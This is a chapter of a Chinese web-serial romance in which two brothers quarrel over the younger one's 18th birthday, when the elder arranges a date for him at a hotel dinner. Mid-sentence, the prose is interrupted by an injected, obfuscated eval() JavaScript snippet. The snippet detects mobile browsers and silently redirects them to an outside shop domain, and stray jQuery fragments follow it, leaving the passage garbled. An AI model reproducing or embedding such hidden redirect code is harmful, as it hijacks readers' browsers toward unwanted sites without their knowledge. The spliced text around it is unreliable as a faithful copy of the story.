默认冷灰
24号文字
方正启体

18.Chapter 18

作者:一颗大屁桃本书字数:K更新时间:
    顾烬生满脸写着“我不信”。


    谢时曜心想,算了,爱信不信。


    这顿饭,谢时曜吃得闷闷不乐。等吃差不多了,谢时曜用纸巾擦了擦嘴:“有件事,需要你帮忙。”


    顾烬生惊讶极了,谢大少还能有事拜托他?


    谢时曜自顾自说了下去:“你每天接触的人和我不一样。你身边的人,相对来说比较年轻。”


    顾烬生疑惑接话:“你想玩年纪小的了?”


    谢时曜无奈:“我想让你,帮我留意一下,你身边,有没有家世能说得过去,聪明的女孩。嗯,女孩一定要聪明,最好胆子也要大一点。”


    怕顾烬生误会,谢时曜补道:“我那弟弟快上大学了,我想,给他找个伴,让他多了解一下外面的正常人的生活。”


    他心酸笑笑,要是放在九月份,他早就把林逐一扔走,任林逐一自生自灭了。现在居然要摆出哥哥的姿态,操心那人的人生规划……


    真是越活越回去了。


    顾烬生想了想:“你家那位看着可不像对异性感兴趣的。”


    顾烬生又说:“要不让他跟我试试?”


    谢时曜手一握,恨不得用眼神杀死顾烬生:“凭你那可怜的单细胞脑袋,我弟能玩你三百个来回不重样。”


    结束这不甚愉快的晚餐,谢时曜在比平时更快的心跳声中,回到了那有林逐一的家。


    林逐一正躺在沙发上睡觉,看到谢时曜来了,睁开眼:“啊,你回来了。”


    谢时曜眼神不自觉闪躲一瞬,随后,他走到林逐一身旁坐下,一只手搭在靠背上:“嗯。我有话问你。”


    “你,有什么想去的大学么?想回去继续上高中么?”


    林逐一道:“除了有哥哥在的地方,我哪里都不想去。”


    “林逐一,我认真的。”


    “可我也是认真的。”


    谢时曜不耐烦地凑近了些:“我已经,拿出我所有的诚意,不和你去玩这家家游戏了。如果你能做到好好说话,就重新回答我。”


    林逐一没动:“在你眼里这是游戏,在我这里,你的游戏,是我的唯一。”


    那张该死的漂亮脸蛋近在咫尺,谢时曜烦躁不已,甚至烦到想抓自己头发,但忍住了。


    第二天下午,林逐一刚到家,就发现自己的衣柜里,多了几套合身的西装和大衣。


    这些西装,有真丝面料的,有贝母双排扣的,低调又骚气,一看就是谢时曜的品味。


    望着这些衣服,林逐一才记起,自从谢时曜接手家里生意后,只会穿符合“小谢董”身份的衣服,再也没穿得像这些西装般骚气过了。


    曾经的花孔雀,还挺让人怀念的。


    晚上,谢时曜回家的时候,解释了一下这些衣服出现的理由。


    “你那些连帽衫,运动鞋,等以后成年了少穿吧,太幼稚。带你出去我嫌丢人。”


    “这买衣服钱,就当你欠我的,以后,用你自己赚的钱还我。”


    林逐一无语极了,还说他幼稚,哥哥才是最幼稚的那个,天塌下来,都有那张硬嘴撑着。


    但林逐一还是问:“你要带我出去?”


    此时,谢时曜正靠在阳台栏杆上,抽着金色烟嘴的细烟:“你不是快过生日了么,十八岁生日。”


    林逐一在后面静静看着。


    谢时曜没穿外套,露出里面的白衬衫,和黑西装马甲。白衬衫的袖子卷到小臂,上面是肩,下面是髋。中间是腰。


    林逐一走过去,保留一段距离,他用身体将谢时曜拢在里头,手虚虚擦过那人的腰际,搭在一旁的栏杆上。


    在夜晚的凉风中,林逐一偏过头,注视谢时曜的侧脸:“你要给我过生日么?”


    谢时曜顺着风掸了掸烟灰:“问那么多干什么,你活着呼吸新鲜空气就行。”


    林逐一笑了笑,也没再接话,反倒靠近:“每天抽这么多烟,也给我抽一口吧,哥哥。”


    谢时曜顺口道:“你还没成年,小屁孩抽什么烟。”


    话音落下,林逐一眼神变得危险起来。


    “那如果等我成年呢。”


    谢时曜夹烟的手指一顿。


    他深思后,笑了笑,把烟头撇下,用食指缓缓抬起林逐一下巴:“那也轮不到你抽我的烟。”


    林逐一没动,眼里的光,愈发深沉:“除了我,还有谁配抽呢。”


    肾上腺素的分泌,让血液加速,在耳旁发出让谢时曜上瘾的声音。


    谢时曜顿时来了想博弈的玩心,他手仍抵着那人下巴,在林逐一耳畔低语:“这可不是你能决定的。”


    “有没有资格抽我的烟,得由我说了算啊,弟弟。”


    林逐一浅笑,用另一只宽大的手掌,包住那根抵着他下巴的手指:“哥哥手好凉,我们一起回屋吧。”


    谢时曜把手指轻轻一抽:“诶,不是我们。只有我。”


    他笑着后退,隔着透明阳台门,谢时曜在屋里,悠悠将阳台门锁上了,站在门后看林逐一:


    “自己顺着窗户爬回去吧。晚安,小朋友,早点睡。”


    林逐一从容抬手,用手肘撑着玻璃,隔着薄薄的门,意犹未尽和屋里人对视:


    “好啊。真希望你能梦见我。”


    谢时曜嘴里比了个“滚”的口型,又笑眯眯做了个“拜拜”的手势。


    等那抹悠然自得的高挑身影,彻底消失在视线中时,林逐一心满意足舔了舔嘴唇。


    这还是谢时曜头一回和他说晚安。


    林逐一顺着阳台,走到隔壁屋窗前,熟练开窗,脸上挂起一丝暧昧的笑。


    第二天吃早饭的时候,谢时曜用手背抵着嘴,清了清嗓子,和林逐一别扭交代:“以后,不用每天只呆在老宅了,我希望你也能有点自己的社交。”


    林逐一脸色一沉:“让我别出门的是你,让我出去社交的也是你。玩腻了想要推开我了?”


    谢时曜不爽道:“给你自由,你还不要?别三番五次挑战我的耐心。我是在为了你做打算。”


    林逐一嘴角一扯,用拇指蹭过嘴唇,斜着头看他:“为了我?那我想提个要求。”


    谢时曜的耐心正在流失,但上头后差点带着林逐一同归于尽的愧疚感,让他允准林逐一说下去:“说吧。”


    林逐一道:“我觉得你缺一个贴身秘书。”


    谢时曜正喝咖啡呢,听到这句话,嘴里咖啡差点喷出来:“你是想找机会把我曜世大楼点了?就这么着急毁了我?”


    林逐一叹气:“你大可放心,那次我真是说着玩的。”


    谢时曜就像听到了笑话那样,脸上浮现起嘲弄的表情。


    林逐一又说:“那天你想带着我一起死,这让我看到了一个不一样的你。”


    “你是空心的,哥哥。在所有人眼里,你高傲,耀眼,游刃有余,可你的内心,早就孤独的要死了吧。”


    谢时曜脸上的笑,一点点淡了下来。


    林逐一给谢时曜续上一杯咖啡,平静道:“每天带着我这个大麻烦,一起上下班,不觉得能给你没意义的生活,来点不一样的挑战吗?”


    他气定神闲迎上谢时曜的目光,用近乎蛊惑的语气说:“养虎为患,与虎博弈,明知道有危险却还是想靠近。这种事,你就是很喜欢,不是么?”


    林逐一这话就像通了电,电流嘶嘶钻进谢时曜心里,在他空洞的心殿里撞出沉沉的回音。


    谢时曜甚至需要表情管理,这才不至于,让脸上出现被说中的挣扎。


    他知道林逐一说的对。


    他喜欢看林逐一为他发疯,也喜欢看林逐一变花样与他博弈。这大概就是林逐一说的那种喜欢。


    谢时曜也不清楚是不是所有人都这样,靠刺激来确认自己还活着。如果一定要养一只虎,他希望那只虎,永远不要被驯服。最好一直,能和他博弈下去。


    等意识回笼,谢时曜已然起身,走到林逐一身后。


    阴影从林逐一头上罩下,谢时曜用指节,恋恋不舍地蹭过林逐一的脸颊:


    “别说得好像你很了解我一样。你只是一条我养在家的小狗啊,傻弟弟。”


    留下这句话,谢时曜松开手,翩然离去。开门的时候,他用只有自己才能听见的声音,轻声自语。


    “真可惜。”


    一周后,便是林逐一的生日。谢时曜也用他的方式,给林逐一备好了一份大礼。


    他先给自己精心打扮了一番,再三犹豫,还是戴上了林逐一送他的袖扣。


    其实挺好看的。确实,是他的品味。


    谢时曜在大厅接了两个电话,林逐一这才从楼上下来。


    当谢时曜抬起头时,有那么一两秒,他几乎没能立刻认出林逐一。


    西装很合身,板正挺括的西装,严严地裹住了那年轻的躯体,将林逐一少年人的清纯,勾勒出了几分不一样的味道。


    他们之间隔着十来米的距离,谢时曜心里先是漫过一层得意,可这得意底下,又无端渗出一丝说不清的不开心。


    亮起的手机屏幕里,是顾烬生发来的消息。


    ——那姑娘已经出发了。


    谢时曜把手机揣兜里,回过神:“走吧,去吃饭。”


    他带着林逐一坐进迈巴赫里。一路上,谢时曜时不时用余光,在后视镜里打量林逐一。


    竟为自己培养了这么一个漂亮的敌人,想来真是寂寞得可以了。


    “哥哥,你看起来,没什么精神。”林逐一降下车窗,用手去抓窗外的空气。


    谢时曜冷冷道:“管这么多做什么。”


    “哦。”林逐一冲谢时曜一笑,“不止没精神,心情也不太好。”


    他把手伸回去,在谢时曜耳边闻了闻:“这还是你第一次给我过生日。我很高兴。”


    谢时曜只是“嗯”了一声,心不在焉,没再多说什么,对于林逐一这逾矩的举动,他甚至都没骂他。


    迈巴赫驶进曜世酒店停车场。


    他们一前一后,进了酒店里面,需要提前一个月预约的中餐厅。


    推开包间门前,谢时曜站在门口,问了一句:


    “林逐一,你之前说过。二十四小时,都听我的,只听我一个人的。”


    林逐一似乎预料到了什么,神色凝重起来。


    谢时曜脸上挂起并不轻松的笑:“你答应过我的。所以今天,要听话。”


    话音落下,包间门被推开。


    圆桌中心,除了顾烬生外,还坐着一个女孩。


    女孩穿着贵气,一看就家境很好,容貌堪比明星。


    看到谢时曜和林逐一,女孩先呆滞一瞬,随即很有礼貌的站起来:“谢哥好。弟弟好。”


    林逐一不可置信地看向谢时曜。


    顾烬生特意在女孩旁边,给林逐一拉开椅子:“她是小叶,在清大读本科,现在单身呢。你哥说你今天成年,正好,咱们一起喝点酒,你俩,交个朋友。”


    谢时曜冲林逐一点点头,用尽全身力气,装作若


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16990563|193045||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    无其事坐下,和小叶说:“我弟,还不错吧?”


    小叶张大嘴,眼睛都快粘在他俩身上了。


    而林逐一只是定定注视着谢时曜,像是迫切想从谢时曜脸上,找出一个答案。


    顾烬生看热闹不嫌事大:“他可操心你了,他对你这么好,我都想要一个哥了。有你哥在,你就偷着乐吧。”


    林逐一瞟了眼顾烬生,紧接着,像是突然想明白了什么一样,哈哈笑了两声。


    他从谢时曜身后路过,坦然坐到小叶旁边,看谢时曜的眼神,也逐渐挂起了敌意:


    “可以啊,那就喝酒吧。”


    谢时曜脸上没什么表情。包间里的服务员拿过桌上的醒酒器,开始给大家倒红酒。


    叶洺是个大大方方的自来熟,在这期间,她边吃菜,边和林逐一打招呼:“你真的才满十八吗?长得好高啊。你跟你哥不当明星真可惜。”


    林逐一全程盯着谢时曜回答:“我怎么能和我哥比。他可比我厉害多了。”


    他说着,拿起面前红酒杯,晃了晃杯子,和叶洺干杯:“成年礼的酒,能和你一起喝,我很开心。”


    顾烬生在旁边吵道:“你怎么看见妹子就不理我们了。应该先和我们喝吧。你哥提前一个月定的包间呢。”


    “啊,是啊,都把哥哥忘了。”林逐一会心一笑,“还真是要谢谢哥哥,花了这么多心思,送我的生日惊喜。”


    谢时曜不自觉攥紧手心,却还是不动声色抿了口酒:“顾烬生你消停点,过生日的又不是你。”


    顾烬生隐隐感觉出谢时曜的表情不对劲。可给林逐一找个伴,不就是谢时曜的决定么?他是真看不懂这对兄弟了。


    他干脆不想理谢时曜,对着林逐一开玩笑:“弟弟啊,我和你哥关系好,他重视你,我也会把你当弟。”


    林逐一不屑地笑了:“行,又多了一个哥。”


    谢时曜望着满桌子菜一点胃口都不剩,只好摸出打火机点烟,那枚袖扣映进林逐一眼里,刺眼极了。


    林逐一道:“谢时曜,我有生日礼物么。”


    谢时曜吐了口烟,隔着桌子,和林逐一对视:“在车里,回家再给你。”


    林逐一把杯中酒饮尽:“还真有礼物。不过,万一我不想回家呢?”


    谢时曜指尖一颤,但只是轻松回道:“也行。你妈给你留了那么多房子,回哪个家不是回。”


    林逐一顿了顿,笑眯眯和身旁的小叶说:“你看,我一成年,我哥就急着推开我,好伤心。”


    小叶听不出这言外之意:“怎么会,你哥不是都给你买礼物了嘛。”


    林逐一道:“是,真是份大礼。”


    他和小叶,开始有一搭没一搭聊起了天,看着还挺投缘。


    顾烬生不甘寂寞,没事就撮合大家一起喝酒,还和小叶一起拿出来送林逐一的生日礼物。他送的是条领带,小叶则拿了瓶酒。


    谢时曜原本酒量不差,今天却莫名其妙的,喝着喝着,脸上就泛起了淡红。


    他不想这样,可眼睛很难从林逐一身上移开。尤其是眼见林逐一和女孩谈笑风生的时候,他更是忍不住想喝酒。


    这时,林逐一站起来,拎着醒酒器,走到谢时曜身旁,往谢时曜杯里倒酒,倒了满到快要溢出来的一杯:


    “哥哥,我们一起生活这么久,这还是头一次一起喝酒。不应该单独喝一杯么。”


    谢时曜看着林逐一同样倒满的酒杯,眯起眼:“倒这么满干嘛,你别喝多了。”


    “哥哥这是在关心我?”


    谢时曜无言。


    林逐一碰了下谢时曜杯子,凑到谢时曜耳边,压低声音:“你的关心还真不值钱。”


    那一瞬,谢时曜的表情僵硬极了。


    谢时曜缓缓抬头,像较劲那样,仰头,干掉了杯里的全部红酒,几乎连一滴都没剩下。


    然后,谢时曜抬手,用纸巾擦了擦嘴角,小声回:“滚吧。”


    林逐一舒服地将酒一饮而尽。


    那杯酒喝得太急,谢时曜晚上又没怎么吃东西,胃很快就烧了起来。


    他捂着胃,硬挺了一会儿,最终还是忍不住,去卫生间吐了。


    卫生间不是很隔音,让他能清楚听见外面的聊天声。


    挺好的,林逐一似乎不反感那个女孩。他做的是对的,一定是对的。


    林逐一该有属于自己的生活,而不是活在他施加的影子里。这才是他们的终点。


    可为什么心里会这么不舒服。


    谢时曜站在镜子前,洗了把脸,分不清是胃不舒服还是因为别的,他又吐了一回。


    身上泛起一层冷汗,衬衫都黏在身上,呼吸都急促起来。


    就在这时,身后传来开门的声音。谢时曜被吓了一跳,差点没站稳。


    进来的人是林逐一。


    林逐一脸上看不出刚才的半点从容,抛下了所有伪装,脸上满是被背叛后的愤怒。


    他伸出手,摁住谢时曜脖子,把人按在墙上,恶狠狠地说:“不是说了,你的生活没意义,那就让我来当你的意义吗?”


    “那为什么还要把你的意义拱手让人?你还真伟大啊,我的哥哥。”


    林逐一力气很大,谢时曜懒得挣开,干脆头一偏:“你凭什么做我的意义?”


    林逐一忍不住用力了几分:“是。我不配。真想不通,你到底是有多恨我。”


    “所有人都行。那么多小猫小狗都行,只有我不行,对吧,谢时曜?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)